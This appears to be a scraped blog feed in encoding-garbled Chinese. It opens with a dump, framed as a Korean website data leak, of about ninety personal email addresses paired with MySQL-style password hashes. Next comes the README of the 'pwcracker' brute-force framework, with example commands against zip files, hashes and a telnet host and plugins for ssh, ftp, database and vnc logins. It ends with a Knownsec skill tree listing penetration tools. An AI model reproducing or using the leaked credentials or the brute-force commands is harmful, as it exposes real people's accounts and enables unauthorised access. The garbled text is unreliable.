tmvlflt3311@hanmail.net

*AF0EE8630600581D14F04D91DC4BE7D97FA76982
kr3808@naver.com

*07BED2B1624B463BBDA31286EA97AE3A7B5B0B8B
admin@manateeshome.com

*D884FD8980074C3FB103B8D112476BF5047F085F
zxcv@live.co.kr

*6F1CAEDD11A48AE1D557EF485F332E484A7B793D
o___oooo@naver.com

*1F146F1736044DDCEE5D57C83E4425873FFE5518
skahffk@naver.com

*705AE34508657C3AB6E37233C69B1BAC6FE5CDBC
sjh4862@nate.com

*1AB4A0CC66CB4F02544B8DF5B11D28961B865471
s0oyeon@naver.com

*B0727B261B7A98B85CA5E206E8B0E9533EA59F05
fbnobox_

*77998775682C2AE37EC722F2EA45B48D835B75A3
asdsaddsa@naver.com

*52FA97077DDA991BC061903F946C51D088E18278
happyl1gm@gmail.com

*ED0C71D49B254B3FEB4C3FE03482E9AFE98D1690
juhyun1011@naver.com

*22AFFE193D235E1AB76313F8E627C604DCB3968C
intor1984@hanmail.net

*E087ABE78EF7D376BC3ABF163FC2AC04C7AC040C
shinbzzang@naver.com

*BD725C2DA06515841AA569001057A6BBEF4E7C2A
zinizzang@nate.com

*B9583F0F9236556743BEB552A2F7A815FE0BCF3E
room2825@hotmail.com

*A4B6157319038724E3560894F7F932C8886EBFCF
honghal@nanoit.co.kr

*00AD1E91658D70FB7892BEA6C7274BC4D8CBE08F
mousesee@naver.com

*BBCF7FDDE5351E14A54CEC4BBE727D58E84AB20C
minkyoo1120@cyworld.com

*7D4B4D426D43FF5C5CB0D13E2C292F14471D0F6E
3558981@naver.com

*32EDCE23CDDF73118967FB1DF0009F4B122BFCFD
est1893@naver.com

*CD742652478C3BC4D0018976668DB30743C1F7C6
shade718@nate.com

*2DBAB03048EC1EB9FE1BB5395C0C5564EC975FAD
kimbora0329@naver.com

*B27EFF0595B02D90737B1EDA3BDAD0F52CD03074
mgl22@nate.com

*CCD07A65490B7CF0831528AAC1B0FC0B45F85265
jinking

*942A6E462C2217A16EC00F23365A2766158E956C
jins7142@naver.com

*673BD59894D5A5EBD86C6FDA2A9F8A968C101AA6
wl0612@naver.com

*AC3F53438F2B3ABF2FB78A3B9CD43486D80B1393
kcaii@hotmail.com

*A5BF80B01A424D755BB3D357FBF882C08D731661
572nt@hanmail.net

*C6BD4E90F6857E263E4C1CDDA719CE9489D8BC89
rydbr90@naver.com

*FD8C8291B2CF3A0A53478702E80AF1D2ABEB85E5
eastsoft@naver.com

*4AA141AC87740942B6F5D690E0FBB762D9912D54
jini83i@naver.com

*B0F83C9B63242ABD73B68A0851DE95C760F2B682
wwwsj1234@nate.com

*3FF2CEBF12673AEDDA29E43D5C024F1DD474697F
pixadm@naver.com

*B087A896A48EB6C7A0753B84CD322D69C9AC1852
index_html_s@naver.com

*DE4FE6B91EE7F687EF88348CFDA19C2390A65EF4
2toptm@hanmail.net

*AF78C639982CAC92702D553291BF994F771188CA
tmvlem0475@nate.com

*0BD786361C4ED489CB60AECF73ACACAD7B6CA8AE
sdk@naver.com

*59D5D2DA64EA6AEC6947DC6D24EA395A856540AB
ban838@naver.com

*A1AEB3130904E0D5D286E604074871DA78F81A34
goyou2k@naver.com

*48B2552DA14CFA67C637C5BBCE402F45DB5BB49E
gywls1406@naver.com

*AB031C5DD88B5F3CE3F35B5AAF59D6733D797EE2
qwqw9807@naver.com

*016C3CE415AFFD57D0D4EE1699518A3C97429199
esse147852@hotmail.com

*9F8A753FA56741086FBDFFB8770534B0AEEE5B86
too0311@nate.com

*E80EDD404360C84614027AC3208508FEF25C270D
itslux@nate.com

*A932DC6EAD2CE3EA6E5739909A893998540DF3B6
guan1004@nate.com

*0D2DF88EC59FC5C87F221725D8AD09FE8806AD6F
fmura@naver.com

*91CFB743DA1F177EB7D2AFE1F251492892C3DCF6
rfwfwf@fwfw.com

*8039ACA2C2D7EA6BB03AE70D5A7435470A653DAF
brother27@daum.net

*2B04349EAEBB76BCDA3BA91C10838A9F570CD5D1
omj0630@naver.com

*C911ECDEA5B8B44A6881F20BEC73AA073C8837DE
fmura@naver.com

*8052674CE15C8F0FADC070C86988692EC55AAB83
dudwn4095@naver.com
08203236197942

*3BE71DB8E8C844D5917882D1BB2B140FE2AB5913
hk6563@

*4A49B7B9C92E19E44A24A9376A07E113C71AE35C
lkh7425@naver.com

*4F38DFFE45995C4158937E8E2C59570BD1EB2C0D


*204C8A3B79DC1533866049F6819865291C5E6AD5
qksrbwls123@naver.com

*0900CDEB74852BA3959172F0BC3D5436D9D77DEB
gkstj7276@naver.com

*85FEDFD7BD5B48B58EA701857580E819D974F5E1
khy1790@nate.com

*84826921445ADB4716A8C7DB5B6A8DE88EBDDD23
ìš°ì–Ž

*7BB6DCC592B1133598043E8FC3BDBD03F6A91E1C
shxorud@naver.com

*6566B4755C026FD35C673255FBDF5292719C293E
cutesh1112@naver.com

*20B2343FCFBC72F9004066049CF9940DDE8AB9EC
rlaeogh0070@yahoo.com

*050376F3855A67F5E2C6514FD3130B31006C1276
0617515344@hanmail.net

*40ACA027926D63F0182704C2F7A3497E7A40F7AC
4260soo@hanmail.net

*31CE11FD2AAEED0E086E1028DDD366DDE89179E6
ckzksdnjsQkd@nate.com

*72A5DB669F893DBAE7465F327F3C196B8F577104
yh_0832@naver.com

*D5C57687D75C1E23F8ACB591EBBBFBB5E8AF51E6
jongil6964@naver.com

*20C20564C154FB7527842F444FED0778B1ECC336
wjswolas07@naver.com

*D7C0E7B95EFF6A95135EE0EDAB761B3F695C1A45
sh.vicky@gmail.com

*137EAB41B2BAA795095C50046AA7487ACB550A6E
microsoft___@nate.com

*7368DD94E68A60C4C800C31A54DFA32279045354
choi_coach@naver.com

*ABD7577C2BA025DA9045D5F43E6377416356A471
cheol244@naver.com

*21005C1C56C4575270B498699464E278C5FF63AD
hongs@naver.com

*EEB7026075A751D228DD9AF92EDCC5FD64C1C922
skhhn@naver.com

*3BEA63C1AA13D550A0AF1F8B1BE0DAF25B4A9CC3
charlize21@naver.com

*89F8C09BBAE121EA96F7C7CEFC0B53B99F9B0D01
max0015@naver.com

*7D5FCC7D539A7FF53AB76C165376B3B4034C8560
iglayi@naver.com

*158E70F379CC4F7AC83D5B2D616A75F9CF739E96
mcmanura@nate.com

*5FA68751E76751230A6E12AE0C7992597809FD77
chick_@nate.com

*F92FD568BF0ECCCD2DB61E37CBEAE0961F928E43
home9837@daum.net

*DD9CEEEA3E2B6FC6F143CF4AEA021AAC2B99E774
soullhk@naver.com

*F4AA7EA6E008A943EF5AA8E1341828F3FF9748C2
tstop1120@naver.com

*AF4609B490525CD09A191C32CD7ED734B2CC0188
kiic83@naver.com

*14BD97EBF9615D63D9488EE43E41E49719BB6411
ksb9793@naver.com

*396A504C321E4049AD1E2D859DC705C268A678B6
ckzksdnjsQkd@nate.com

*CAE568CF47DE30465522847122C17BBFD580BBF4
mania-kang@hotmail.com

*8FD78DA940A6CE370CFF0C12B9F61C402E4E0E76
rladudrn0978@naver.com

 

The post 韩囜眑站数据泄露 甚户名user 邮箱mail 密码pw appeared first on 🔰雚苁ℒ🔰.

↧

rar密码砎解 zip密码砎解 压猩包密码砎解 pwcracker

September 26, 2018, 8:06 am
$
0
0

rar密码砎解 zip密码砎解 压猩包密码砎解

rar密码砎解 zip密码砎解 压猩包密码砎解 387䞪暗眑眑址

pwcracker䞀欟插件化密码爆砎框架

密码砎解脚本调甚框架目前支持密文文件服务和应甚等类型的20种密码砎解。

压猩包密码砎解

䞀、简介

该项目䞻芁解决以䞋问题

问题 解决
䞀些自定义算法䞍垞甚的文件冷闚的服务劂䜕爆砎 支持自定义插件猖写
python的爆砎脚本埈倚特别零散劂䜕把它们集合到䞀起 将其栞心爆砎功胜猖写成插件由框架统䞀调甚
猖译型的爆砎工具圚爆砎过皋䞭莫名倱莥劂䜕调试 可以䞎时修改脚本蟓出调匏

目前工具的䌘势和猺陷请各䜍根据其特点。自行选择圚那种场景䞋䜿甚。

䌘点 猺陷
支持倚种类型的爆砎比劂密文文件服务和应甚等 速床盞对比蟃慢于hydra等工具盞比
支持通甚算法也可以自定义算法 郚分插件的环境有点隟配眮有些插件甚的python包比蟃隟安装容易报错
支持倚种爆砎暡匏倚莊号倚密码单莊号倚密码倚莊号单密
支持单䞪目标也可以批量

二、快速䜿甚

2.1 安装

git clone https://github.com/c0ny1/pwcracker
pip install -r requirement.txt
python pwcracker.py

2.2 参数列衚

$ python pwcracker.py -h
usage: pwcracker.py [options]

* An expandable password cracking framework. *
By c0ny1 (http://gv7.me)

optional arguments:
  -h, --help            show this help message and exit

CRACK:
  -t TARGET             The target to crack,target format:protocol://path:port
  -T FILE               Load the target file to be cracked.
  -u USERNAME, --username USERNAME
                        The user name to crack.
  -U FILE               The user name dictionary file to load.
  -p PASSWORD, --password PASSWORD
                        Passwords to crack.
  -P FILE               Load the password dictionary file to be cracked.
  -r THREADS            Num of scan threads for each scan process, 3 by default

SHOW:
  -s, --show            Show all plugins
  -i PLUGIN_NAME, --info PLUGIN_NAME
                        Show one plugins
  -v                    Show the details of the cracking password.
  -V, --version         show program's version number and exit

2.3 Example

(1)爆砮md5

python pwcracker.py -t md5:// -P D://password.txt

(2)爆砮zip文件

python pwcracker.py -t zip://d://test.zip -U D://username.txt -P D://password.txt

(3)爆砮telnet

python pwcracker.py -t telnet://192.168.1.108:23 -U D://username.txt -P D://password.txt

䞉、插件列衚

序号 插件 描述
1 md2 甚于爆砎md2算法的密文
2 md4 甚于爆砎md4算法的密文
3 md5 甚于爆砎md5算法的密文
4 sha1 甚于爆砎sha1算法的密文
5 sha224 甚于爆砎sha224算法的密文
6 sha256 甚于爆砎sha256算法的密文
7 sha384 甚于爆砎sha384算法的密文
8 sha512 甚于爆砎sha512算法的密文
9 ftp 甚于爆砎ftp服务的莊户密码
10 ssh 甚于爆砎ssh服务的莊户密码
11 telnet 甚于爆砎telnet服务的莊户密码
12 mysql 甚于爆砎mysql数据库的莊户密码
13 oracle 甚于爆砎oracle数据库的莊户密码
14 oracle_sid 甚于爆砎oracle数据库的sid
15 mssql 甚于爆砎mssql数据库的莊户密码
16 vnc 甚于爆砎vnc服务的莊户密码
17 7z 甚于爆砎7z文件的密码
18 rar 甚于爆砎rar文件的密码
19 zip 甚于爆砎zip文件的密码
20 pdf 甚于爆砎pdf文件的密码

四、插件猖写

4.1 插件暡板

#coding=utf-8

def plu_info():
	dict_plugin={};
	dict_plugin['name']="md5" # 插件名称
	dict_plugin['author']="c0ny1&lt;root@gv7.me&gt;" # 䜜者
	dict_plugin['date'] = "2018-09-24 18:23" # 最后曎新时闎
	dict_plugin['description'] = "Used to crack MD5 ciphertext." # 描述
	dict_plugin["usage"] = "python pwcracker.py -t test://127.0.0.1 -u root -p root" # 䜿甚䟋子
	return dict_plugin

def doCheck(address,username_list,password_list):
	pass

def doCracker(address,username,password):
	pass

4.2 诎明

  1. plu_info凜数甚于返回插件的䞀些信息圓执行python pwcracker.py --info plugin_name,䌚圚控制台星瀺插件的信息。

  2. doCheck(address,username_list,password_list)凜数是圚爆砎前对爆砎的目标字兞列衚密码列衚进行检查。劂果检查合栌则返回True,就可以进行爆砎了。若果检查是存圚问题则返回False框架就䌚终止运行并提瀺䞍合法的数据䜍眮。

  3. doCrack(address,username,password)凜数是必须芁实现的。䌠入的参数分别是爆砎的目标甚户名和密码。我们需芁圚凜数䜓内实现爆砎的栞心功胜。爆砎成功则return True,msg,倱莥则return False,msg。这里msg是成功或者倱莥附垊的信息没有的话可以讟眮䞺None。

泚意:

  1. plu_info()和doCheck(address,username_list,password_list)䞺可选实现doCrack(address,username,password)必须实现
  2. 具䜓䟋子可以参数项目plus䞋的插件。

4.3 API

框架提䟛的API

api 描述
getPath(address) 从目标address䞭分析出路埄或者䞻机等目标䞻䜓等信息
getPort(address) 从目标address䞭分析出port
getParam(address) 从目标address䞭分析出携垊的参数
isIP(ip) 刀断是吊是合法的ip
isPort(port) 刀断是吊是合法的port即范囎䞺倧于等于0小于等于65535
checkIP 检查ip是吊存掻
checkPort 检查端口是吊匀攟

五、参考项目

The post rar密码砎解 zip密码砎解 压猩包密码砎解 pwcracker appeared first on 🔰雚苁ℒ🔰.

↧
↧

知道创宇研发技胜衚 v3.1 黑客孊习技胜树

September 26, 2018, 9:18 pm
$
0
0

知道创宇研发技胜衚 v3.1 暗眑眑址倧党

  • 通甚技胜
    • 公叞䞎䞪人
      • 公叞是盈利性组织
      • 䞪人和公叞必须双赢
      • 圚讀同公叞理念䞔胜借给公叞创造足借价倌的基础䞊䞺䞪人发展而工䜜
    • idea
      WHO AM I
      • 黑客是守正出奇䞔具倇创造力的矀䜓
        • 守正出奇
          • 这条正道/底线埗坚守
          • 䜆劂果倪过正就迂腐了䞺了搞定任务有时埗出奇招
        • 创造力
          • 䞀䞪没有创造力的人是倚么的可怜对于团队来诎也是䞀种耻蟱
          • 本技胜衚的本莚目的只有䞀䞪匕富䜠拥有足借的创造力
      • 黑客也可以是䞀种思绎方匏
      • 我们需芁对埗起名片䞊的那䞪倎衔工皋垈、研究员
      • 牛人姿态
        • 即䜿现圚䞍是牛人也埗具倇这样的姿态
        • 没有䞀定扎实内功䞎远见的人埈少有这样的姿态
        • 拥有䞍将就的做事风栌迟早是牛人
    • 劂䜕做事
      • idea
        方法论
        • 完成䞀件事有奜几条途埄䌘秀的人的途埄最短
        • 任务拆分埈容易埗出做事的方法论
        • 奜的「方法论」䌚让䜠具倇曎区的「创造力」
          • idea
            时刻问自己「是吊具倇创造力」
      • idea
        任务拆分
        • 成长过皋䌚经历胜力越倧、莣任越倧、事情越倚
        • 思路
          • 拆分细化䞺倚䞪点
          • 排奜䌘先级
            • 任务四象限决定䌘先级
              • 玧急重芁
                • 赶玧搞定
              • 重芁䞍玧急
                • 时刻保持关泚以免沊䞺「玧急重芁」
              • 玧急䞍重芁
                • 少少益善孊䌚拒绝
              • 䞍玧急䞍重芁
                • 靠自埋
          • SMART原则
            • S任务是吊明确
              • 䞍明确的任务搞起来就是浪莹生呜
            • M任务是吊可床量
              • 䞍可床量劂䜕䜓现价倌
            • A任务是吊可搞定
              • 搞䞍定就䞍应该接接就埗有魄力搞定
            • R任务的盞关性劂䜕
              • 决定了任务的价倌盞关性越高越胜䜓现价倌比劂这䞪任务搞定了胜让团队获埗公叞、客户等曎倧的讀可
            • T任务的时闎
              • Timeline任务时闎蜎什么时闎点需芁搞定什么
              • Deadline任务的最后期限做评䌰时最奜提前因䞺总䌚有各种意倖或拖延本性
              • Timeline䞊䞀些埈关键的时闎点我们可以称䞺里皋碑搞定每䞪里皋碑应该庆祝䞋
          • 自己欠猺什么立马发现
          • 是吊需芁寻求垮助谁胜垮䜠自己单干

            Arrow Link

          • 团队
            • 士气第䞀
            • 圓䜠有团队时分配䞎调床奜任务埈关键
              • 做埗奜是真并发
              • 做䞍奜䌚死锁
      • 沟通、反銈䞎莣任
        • 䞀䞪无沟通胜力的人芁么是倩才芁么是䞍可爱的人䞍过倩才也就寥寥无几而已䜠并䞍是
        • 反銈芁及时
          • 避免出问题䞍反銈圱响进床
          • 方匏
            • 正匏的邮件
            • 䞎时的埮信等即时通信
            • 着急的给䞪电话
        • 工䜜有倧小莣任心无倧小
        • 呚报的透明
          • 意义倧家互盞了解工䜜䞎心埗有利于自己的刀断䞎成长
            • 观察是䞀种倚重芁的技胜
            • 䞍是单纯的给领富汇报工䜜
          • 呚报需䜓现本呚工䜜总结、䞋呚工䜜计划、心埗/问题/建议我们叫唧唧歪歪
          • 呚报可以埈奜䜓现䞀䞪人的
            • 总结胜力
            • 计划胜力
            • 分享胜力
              • 想象䞋䞀䞪人从来没有心埗/问题/建议的沉淀或反銈这䞪人是䞀䞪盞对封闭的人圚团队䜜战䞭埈隟蟟到默契
              • 圓然这种分享胜力远䞍仅仅是圚呚报这种圢匏里
      • 团队意识
        • 埈倚人郜诎自己具倇足借奜的团队意识䜆是有些人华并䞍是这样
          • 䞟䞪小䟋子䞀䞪10人团队纊定早䞊10点匀䌚而䜠迟到了10分钟对于团队来诎䜠浪莹了敎䞪团队100分钟10人*10分钟的生呜。有些人无矞愧之心芁么是意识䞍到这点芁么这䞪团队的风气就是这样 
        • 团队意识是建立圚互盞信任的基础䞊
        • Leader最关键䌘秀的Leader䞀定䌚有䞪䌘秀团队
          • 兵熊熊䞀䞪
          • 将熊熊䞀窝
        • 劂䜕拥有䞪䌘秀的团队是䞀䞪倍杂的话题
    • 成长
      • 新事物的敏感性
        • 保持奜奇心
        • 䞍芁局限圚自己的圈子适圓跚界吞收灵感
        • 订阅囜内倖䌘秀博客/资源Inoreader/深蓝阅读䞍错
        • 选择性参䞎䞀些必芁的䌚议听必芁的䞻题讚论必芁的话题
      • idea
        关于知识
        • 对知识的枎望皋床决定了前进劚力的倧小
        • 圓知识埈廉价地摆圚䜠面前䜠反而䞍䌚珍惜
        • 对知识保持敬畏之心
      • 䞍芁让自己成䞺矫情/浮倞的人
      • 和比䜠厉害的人圚䞀起和䞀流的人工䜜
        • 指点埀埀是粟华
        • messagebox_warning
          杜绝笚蛋爆炞
          • 二流的人招进来的人䞍倪可胜是䞀流的
          • 久而久之䞀䞪团队就笚蛋爆炞了
      • 思考
        • 批刀性思考
        • 换䜍思考
          • 对于䞀䞪团队来诎这点倪关键
      • idea
        提问的智慧
        • 遇到问题先独立思考尝试独立解决尜最倧努力后再提问
        • 提问时瀌貌埈关键对知识的敬畏枅晰衚蟟埈关键
        • 解决后分享出来垮助曎倚需芁垮助的人
      • idea
        小事心态
        • 越基础的事越关键越需芁细心
        • 䞍芁䞀味盲目远求「高级感」而応视「小事」/「简单事」/「基础事」
        • 基础䞍牢、地劚山摇
        • 小事做䞍奜别提倧事
      • messagebox_warning
        无论是䞪人还是团队的成长郜需芁䞍断沉淀知识没有沉淀根基䞍皳
    • messagebox_warning
      完成的定义
      • 比劂写䞪PoC
        • 1. 搞懂了目标Web应甚挏掞的原理
        • 2. 熟练运甚Python各盞关暡块䞎机制
        • 3. 熟练了解了HTTP协议
          • HTTP请求
          • HTTP响应
        • 4. 代码写埗借规范让人看起来就是爜
        • 5. 皋序经过足借的测试
          • 黑测试
          • 癜测试
        • 6. 及时反銈进床
          • 我遇到困隟了
          • 我搞定了
        • 7. 曎新盞关文档沉淀
    • messagebox_warning
      熟练的定义
      • 比劂熟练SQL泚入
        • SQL语句这闚“语蚀”胜脱犻文档顺手写出
        • 䞻流数据库的SQL特有凜数、存傚过皋、机制我郜了劂指掌
          • MySQL
          • MSSQL
          • Oracle
          • PostgreSQL
          • Access
          • SQLite
          • 

        • 牛逌的工具我䞍仅甚的顺其自然源码还读过几遍我胜修改
          • sqlmap
          • 

        • 我具倇创造性而䞍仅仅是跟圚倧牛身后
          • 研究出了几䞪䞍错的技巧
          • 发了几篇䞍错的Paper
          • 对倖䌚议/沙韙等进行了几次分享
          • 写出了自己的盞关工具爜
        • 我实战了N回遇到了埈倚奇葩环境我有足借的信心绕过
        • 以䞊这些之后这才叫熟练其他同理
    • 奜乊掚荐
      • 掚荐理由
        • 打通任督二脉的乊怎胜䞍看
          • 䜆尜信乊䞍劂无乊
        • 任䜕科孊研究最终必须至少到哲孊层面觊碰到䞊垝的脚
        • 具䜓技术类乊籍请见「䞓䞚技胜」盞关郚分
      • 鞡汀类
        • 黑客䞎画家
          • 印象深刻讟计者的品味
            • 奜讟计是简单的讟计
              • 抓䜏本莚
            • 奜讟计是氞䞍过时的讟计
              • 劂果解决方法是䞑陋的那就肯定还有曎奜的解决方法只是还没有发现而已
            • 奜讟计是解决䞻芁问题的讟计
            • 奜讟计是启发性的讟计
            • 奜讟计通垞是有点趣味性的讟计
            • 奜讟计是艰苊的讟计
            • 奜讟计是看䌌容易的讟计
            • 奜讟计是对称的讟计
            • 奜讟计是暡仿倧自然的讟计
            • 奜讟计是䞀种再讟计
            • 奜讟计是胜借倍制的讟计
            • 奜讟计埀埀是奇特的讟计
            • 奜讟计是成批出现的
            • 奜讟计垞垞是倧胆的讟计
        • 浪朮之巅
          • 感受IT垝囜的厛起䞎没萜我们现圚站圚又䞀䞪互联眑浪朮之巅
      • 掁癖类
        • 重构
        • 代码敎掁之道
        • 代码倧党2
      • 敏捷类
        • Rework䞭文版
          • 37signals团队的敏捷经验
        • 高效皋序员的45䞪习惯
      • 产品类
        • 人人郜是产品经理
        • 结眑
      • 神乊
        • 自私的基因
        • 倱控
      • 

  • 䞓䞚技胜
    • idea
      原则
      • 至少完敎看完䞎练习奜䞀本乊
      • 至少过䞀遍官方文档
    • bookmark
      基础必倇
      • HTTP抓包䞎调试
        • Firefox插件
          • Firebug
            • 抓包䞎各种调试
          • Tamper Data
            • 拊截修改
          • Live Http Header
            • 重攟功胜
          • Hackbar
            • 猖码解码/POST提亀
          • Modify Headers
            • 修改倎郚
        • Fiddler
          • 浏览噚代理神噚
          • 拊截请求或响应
          • 抓包
          • 重攟
          • 暡拟请求
          • 猖码解码
          • 第䞉方扩展
            • Watcher
              • Web前端安党的自劚审计工具
        • Wireshark
          • 各种区倧的过滀噚语法
        • Tcpdump
          • 呜什行的类Wireshark抓包神噚
        • Python
          • urllib2
            • 打匀请求响应调试
              • 猖蟑urllib2的do_open里的h.set_debuglevel
              • 改䞺h.set_debuglevel(1)这时可以枅晰看到请求响应数据包括https
      • 什么是跳蜬
        • 服务端跳蜬
          • 302
            • <?php header(“Location: 3.php”); ?>
          • 301
            • <?php header(“HTTP/1.1 301 Moved Permanently”); header(“Location: 2.php”); ?>
          • u=urllib2.urlopen(url)后u.url胜埗到服务端跳蜬后的地址
            • urllib2自己的特性
            • 所谓的䌚跟进去
        • 客户端跳蜬
          • <meta http-equiv=”refresh” content=”0; url=http://www.evilcos.me” />
            • htmlparse解析就行了
          • location.href=”http:/” + “/evilcos.me”;
            • 正则解析匱
            • JavaScript匕擎解析区
      • Office胜力
        • Word文档猖写看去芁䞓䞚尀其对倖的
        • Excel里面倧量的统计、囟衚功胜需芁善于䜿甚
        • PPT挔讲、培训等必倇劂䜕做奜PPT癟床䞀䞋 
        • ksmiletris
          进䞀步
          • yEd
          • Visio
          • FreeMind
            • 本技胜衚就是这䞪制䜜
      • 䞊手Linux
        • 《鞟哥的Linux私房菜》
      • 熟练VIM
      • 䞊手Python
        • idea
          https://www.python.org/dev/peps/pep-0008/ User Link
        • idea
          http://learnpythonthehardway.org/book/ User Link
        • 《Python栞心猖皋2》
          • 第4ç«  Python对象
            • 完敎熟练
          • 6.8 Unicode
            • 完敎熟练
          • 8.11 迭代噚和iter()凜数
            • 完敎熟练
          • 第9ç«  文件的蟓入和蟓出
            • 完敎熟练
          • 第10ç«  错误和匂垞
            • 完敎熟练
          • 第11ç«  凜数和凜数匏猖皋
            • 完敎熟练
          • 第12ç«  暡块
            • 完敎熟练
          • 第14ç«  执行环境
            • 完敎熟练
          • 第15ç«  正则衚蟟匏
            • idea
              完敎熟练
          • 第18ç«  倚线皋猖皋
            • 完敎熟练
          • 20.2 䜿甚Python进行Web应甚创建䞀䞪简单的Web客户端
            • 完敎熟练
      • 算法
        • 快排
        • 二分
      • 正则衚蟟匏
      • 研发胜力
        • 瀑垃暡型
          • 需求->需求分析->讟计->匀发->测试->䞊线->运绎/运营
        • idea
          需求分析胜力
          • 给䜠䞀䞪需求劂䜕给出䞀䞪䌘矎的执行思路——方法论
          • 这䞪胜力非垞非垞非垞的关键
        • 调试胜力
          • 只芁定䜍出就没有解决䞍了的Bugs
          • 肉県看到的郜是假象
            • 䞀定芁䞓䞚的工具䞎经验配合
          • Bugs圚哪出现最终就圚哪进行真实暡拟调试
          • 猩小范囎
            • 构建自己的测试样䟋
              • 排陀眑络倍杂未知情况
            • 关联暡块䞀䞪䞪排陀
            • Python单步调试
              • import pdb;pdb.set_trace()
              • 圚需芁单步调试的地方加䞊面这句运行皋序后䞭断圚歀然后h查看指什进行䞀步步细细调试
            • 粗暎调试print
        • 敏捷思想
          • 快速迭代
          • 任务拆细
          • idea
            v1原则定义奜v1的目标快速完成v1䞺䌘先
          • 习惯Wiki记圕利于沉淀䞎分享
      • 翻墙
    • Web安党
      • 零基础劂䜕孊习Web安党
      • Web服务组件
      • 安党绎床
        • 挏掞
        • 风险
        • 事件
      • Web安党标准
        • OWASP
        • WASC
      • 实战环境
      • 工具
        • 我的林透利噚
          • Firefox
            • Firebug
              • 调试JavaScriptHTTP请求响应观察CookieDOM树观察等
            • Tamper Data
              • 拊截修改
            • Live Http Header
              • 重攟功胜
            • Hackbar
              • 猖码解码/POST提亀
            • Modify Headers
              • 修改倎郚
            • GreaseMonkey
            • NoScript
              • 进行䞀些JavaScript的阻断
            • AutoProxy
              • 翻墙必倇
          • Chrome
            • F12
              • 打匀匀发者工具功胜==Firebug+本地存傚观察等
            • SwichySharp
              • 翻墙必倇
            • CookieHacker
          • Web2.0 Hacking
          • HTTP代理
            • Fiddler
              • 非垞经兞奜甚的Web调试代理工具
            • Burp Suite
              • 神噚䞍仅HTTP代理还有爬虫、挏掞扫描、林透、爆砎等功胜
            • mitmproxy
              • Python写的基于这䞪框架写神噚实圚倪方䟿了
          • 挏掞扫描
            • AWVS
              • 䞍仅挏扫方䟿自垊的䞀些小工具也奜甚
            • Nmap
              • 绝对䞍仅仅是端口扫描几癟䞪脚本
            • Python自写脚本/工具
          • 挏掞利甚
            • sqlmap
              • SQL泚入利甚最牛神噚没有之䞀
            • Metasploit
              • 最经兞的林透框架
            • Hydra
              • 爆砎必倇
          • 抓包工具
            • Wireshark
              • 抓包必倇
            • Tcpdump
              • Linux䞋呜什行抓包结果可以给Wireshark分析
          • Seebug + ZoomEye
            • 类䌌这类平台郜是我们需芁的
            • Seebug类䌌的
              • https://www.exploit-db.com/
            • ZoomEye类䌌的
              • https://www.shodan.io/
        • Kali Linux
          • 陀了䞊面介绍的䞀些工具其他海量各类型黑客工具自己去摞玢
      • 乊
        • 《黑客攻防技术宝兞Web实战篇》
        • 《癜垜子讲Web安党》
        • 《Web前端黑客技术揭秘》
          • 我和xisigr出品
        • 《Web之困》
        • 《SQL泚入攻击䞎防埡》
      • papers
        • http://www.exploit-db.com/papers/ User Link
        • BlackHat/Defcon/XCon/KCon/囜内各安党沙韙等盞关Papers需芁持续跟进
    • idea
      嵌入匏安党
    • 研发枅单
      • 猖码环境
        • pip
        • Docker/Vagrant
        • tmux/screen
        • vim
        • Markdown
        • zsh + oh-my-zsh
        • Python2.7+/3+
        • >Django1.4
        • node.js
        • Ubuntu/Gentoo/Centos
        • ipython
        • 版本控制
          • 废匃SVN党面拥抱Git
          • GitLab
        • Nginx+uWSGI
      • Python
        • 官方手册
          • 至少过䞀遍这郜没过䞀遍视野䌚局限
          • 行之诎「我没看过Python的乊华熟读官方手册 」
      • Linux/UNIX
        • 乊
          • 《鞟哥的Linux私房菜》
          • 《Linux Shell脚本攻略》
          • 《UNIX猖皋艺术》
          • 《Software Design 䞭文版 01》《Software Design 䞭文版 02》《Software Design 䞭文版 03》
        • 让䜠的电脑默讀操䜜系统就是Linux

      • 前端  知道创宇研发技胜衚
        • 乊
          • 《JavaScript DOM猖皋艺术》
        • 了解DOM
          • 这同样是搞奜前端安党的必芁基础
        • 库
          • jQuery
            • 䌘秀的插件应该䜓验䞀遍并做些尝试
            • 官方文档埗过䞀遍
          • D3.js
          • ECharts
            • 来自癟床
          • Google API
          • ZoomEye Map组件
            • ZoomEye团队自己基于匀源的打造
          • AngularJS
            • Google出品的颠芆性前端框架
          • Bootstrap
            • 应该䜿甚䞀遍
      • 爬虫进阶
        • 代理池
          • 爬虫「皳定」需芁
        • 眑络请求
          • wget/curl
          • urllib2/httplib2/requests
          • idea
            scrapy
        • 验证码砎解
          • pytesser
      • 调床
        • crontab是最原生的定时调床
        • 基于redis实现的分垃匏调床
        • 基于rpyc实现的分垃匏调床
        • celery/gearman等调床框架
      • 并发
        • 线皋池
          • 进皋内䌘矎的并发方案
        • 协皋
          • 进皋内及䞀种䌘矎的并发方案
          • gevent
        • 倚进皋
          • os.fork
          • idea
            multiprocessing
      • 数据结构
        • JSON
        • cPickle
        • protobuf
      • 数据存傚及倄理
        • 数据库
          • MySQL
          • MongoDB
          • Cassandra
          • Hadoop䜓系
          • Redis
          • Sqlite
          • bsddb
          • ElasticSearch
        • 倧数据倄理
          • Hive
          • Spark
          • ELK
            • ElasticSearch
            • Logstash
            • Kibana
      • DevOps  知道创宇研发技胜衚
      • 调试
      • 算法
        • 分词
        • 莝叶斯
        • 神经元
        • 遗䌠算法
        • 聚类/分类
        • 

      • 持续集成
        • 自测试
          • nose
        • Jenkins
      • idea
        安党
      • 协䜜  知道创宇研发技胜衚
        • 类䌌Trello的圚线协同平台
        • Slack
        • 埮信
        • 立䌚
    • 讟计思想
      • 人人郜是架构垈具倇架构思想是䞀件倚酷的事
      • 实战出真知
      • 劂䜕讟计
        • attach
          任务架构讟计变迁.pdf User Link
        • 束耊合、玧内聚
        • 单元䞎单元属性
        • 生产者䞎消莹者
        • 结构
          • 队列
          • LRU
        • 分垃匏
          • 存傚
          • 计算
        • 资源考虑
          • CPU
          • 内存
          • 垊宜
        • 粗暎矎孊/暎力矎孊
          • 倧数据先考虑run it然后才胜知道规埋圚哪
          • 「run it䌘先」胜快速打通敎䜓掞察问题
          • 「run it䌘先」胜摆脱细节繁枝末节的束猚
          • 「run it䌘先」胜快速迭代出䌟倧的v1
        • 䞀䞪字总结
          • 矎
    • 牛人1,2,3  知道创宇研发技胜衚
      • 1研究研究䞜西有足借掞察力研究氎准䞍错
      • 2研发Hack Idea自己有魄力实现䞍懂研发的黑客劂同䞍䌚枞泳的海盗
      • 3工皋研发出来的需芁实战、需芁工皋化吊则只是玩具而䞍胜成䞺真的歊噚
  • 䌘莚资源

